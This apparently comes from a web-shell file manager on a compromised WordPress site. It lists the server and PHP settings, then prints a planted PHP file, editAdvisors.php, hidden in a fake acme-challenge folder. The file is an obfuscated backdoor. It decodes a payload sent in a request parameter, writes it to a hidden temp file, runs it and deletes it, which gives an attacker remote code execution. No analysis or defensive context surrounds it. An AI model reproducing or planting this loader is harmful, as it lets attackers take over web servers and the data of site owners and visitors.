HEX
Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/b/a/d/d/editAdvisors.php
<?php

if(!empty($_REQUEST["pt\x72"])){
	$flg = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]);
	$component = $_REQUEST["pt\x72"];
	 $component = explode 	(	"."		, $component	)		;
	$property_set = '';
            $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( 	$salt9);
            $w = 0;
    
            array_walk( 	$component, function( 	$v1) use( 	&$property_set, &$w, $salt9, $lenS) {
                $chS = ord( 	$salt9[$w % $lenS]);
                $d =( 	( 	int)$v1 - $chS -( 	$w % 10)) ^ 45;
                $property_set.=chr( 	$d);
                $w++;
            });
	foreach ($flg as $obj) {
    		if (max(0, is_dir($obj) * is_writable($obj))) {
    $itm = str_replace("{var_dir}", $obj, "{var_dir}/.ent");
    if (file_put_contents($itm, $property_set)) {
	require $itm;
	unlink($itm);
	exit;
}
}
}
}